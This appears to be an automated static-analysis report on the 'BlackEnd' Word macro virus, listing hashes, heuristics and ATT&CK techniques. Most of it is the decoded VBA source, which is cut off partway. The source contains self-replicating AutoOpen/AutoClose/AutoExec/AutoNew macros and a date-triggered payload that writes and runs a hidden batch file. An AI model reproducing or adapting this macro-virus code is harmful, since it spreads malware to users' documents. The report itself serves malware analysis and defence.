BlackEnd Virus — Office (OLE) malware analysis

Static analysis result for SHA-256 a6ee588224420256…

MALICIOUS

Office (OLE)

37.5 KB Created: 2001-12-08 05:32:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: a6a75dd04c2c98376763848b95d909a1 SHA-1: 48fa2229a624dd7d7e05f00de0ef78d2646f9a01 SHA-256: a6ee5882244202561fe84b544597e4d78e30fd9d91232ba96da6ffa86bf2c2a6
220 Risk Score

Malware Insights

BlackEnd Virus · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, including AutoOpen, AutoClose, and a macro named 'BlackEnd', which are indicative of a macro-based malware. The 'BlackEnd' macro attempts to create a batch file at 'C:\dosys.bat' and appears to be designed to spread itself by copying macros. The presence of legacy WordBasic auto-execution markers and Shell() calls further supports its malicious nature.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4584 bytes
SHA-256: fa479251c08756f6f8039fd3343ab8b9476e117ec6235d5b133dc84c4e91f7af
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "BlackEnd" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
    WordBasic.MacroCopy "Global:BlackEnd", WordBasic.[FileName$]() + ":BlackEnd", 1
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec", 1
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", 1
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", 1
    WordBasic.FileSaveAll 1, 0
End If

Finish:
End Sub

Attribute VB_Name = "BlackEnd"

Public Sub MAIN()
Dim n
Dim m

Rem A Virus from Nightmare Joker's Demolition Kit!

On Error GoTo -1: On Error GoTo Finito2

If WordBasic.Month(WordBasic.Now()) = 5 And WordBasic.Day(WordBasic.Now()) = 22 Then

WordBasic.FileNew Template:="Normal", NewTemplate:=1
WordBasic.DocMaximize
WordBasic.FontSize 16
WordBasic.Bold
WordBasic.Font "Arial"
WordBasic.Insert "You are infected with the BlackEnd Virus! [D.K.]"

n = WordBasic.Second(WordBasic.Now())
m = n + 3
Again:
While n <> m
n = WordBasic.Second(WordBasic.Now())
GoTo Again
Wend

Finito2:

Open "C:\dosys.bat" For Output As 1
Print #1, "@echo off"
Print #1, "doskey Fun=setver win.com 3.00"
Print #1, "@echo off"
Print #1, "Fun"
Close 1
WordBasic.Shell "C:\dosys.bat", 0
SetAttr "C:\dosys.bat", 2

Else
    Rem Nothing to do!
End If
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish2

For i = 1 To WordBasic.CountMacros(0, 0)
    If WordBasic.[MacroName$](i, 0, 0) = "BlackEnd" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":BlackEnd", "Global:BlackEnd", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoNew", "Global:AutoNew", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoClose", "Global:AutoClose", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoExec", "Global:AutoExec", 1
    WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoOpen", 1
End If

Finish2:
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "BlackEnd" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 1
    WordBasic.MacroCopy "Global:BlackEnd", WordBasic.[FileName$]() + ":BlackEnd", 1
    WordBasic.MacroCopy "Global:AutoExec", WordBasic.[FileName$]() + ":AutoExec", 1
    WordBasic.MacroCopy "Global:AutoNew", WordBasic.[FileName$]() + ":AutoNew", 1
    WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoClose", 1
    WordBasic.FileSaveAll 1, 0
End If

Finish:
WordBasic.Call "BlackEnd"
End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()

WordBasic.Call "AutoOpen"

End Sub

Attribute VB_Name = "AutoNew"

Public Sub MAIN()
Dim i
Dim VInstalled
On Error GoTo -1: On Error GoTo Finish

For i = 1 To WordBasic.CountMacros(1, 0)
    If WordBasic.[MacroName$](i, 1, 1) = "BlackEnd" Then
        VInstalled = 1
    End If
Next i

If VInstalled = 1 Then
    GoTo Finish
Else
    On Error Resume Next
    WordBasic.FileSaveAs Format:=1
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.